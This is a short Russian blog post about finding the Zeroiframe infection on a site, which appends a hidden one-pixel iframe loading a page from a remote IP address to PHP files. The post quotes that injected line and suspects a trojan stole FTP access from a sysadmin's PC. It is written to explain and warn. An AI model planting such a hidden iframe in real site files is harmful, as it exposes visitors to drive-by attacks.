Я об этом не раз слышал от хостеров, вчера увидел на одном сайте как это работает. Называется Zeroiframe, дописывает к PHP-файлам в конец такой вот код:

 <iframe src="http://209.200.228.43/adv.html" width=1 height=1 style="visibility: hidden;"></iframe>

Хорошо, что я не пишу в PHP-код закрывающий ?> и поэтому такое дописывание iframe просто делает код неработоспособным.

Подозрение пало на трояна с компьютера сисадмина, который незадолго до инцидента подключался к хосту по FTP из Windows. Удивительно, но 1/3 посетителей этого блога все еще использует MSIE, специально для них неполенился добавить в правую колонку ахтунг-блок, с таким условием видимости на стороне сервера:

 return isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE;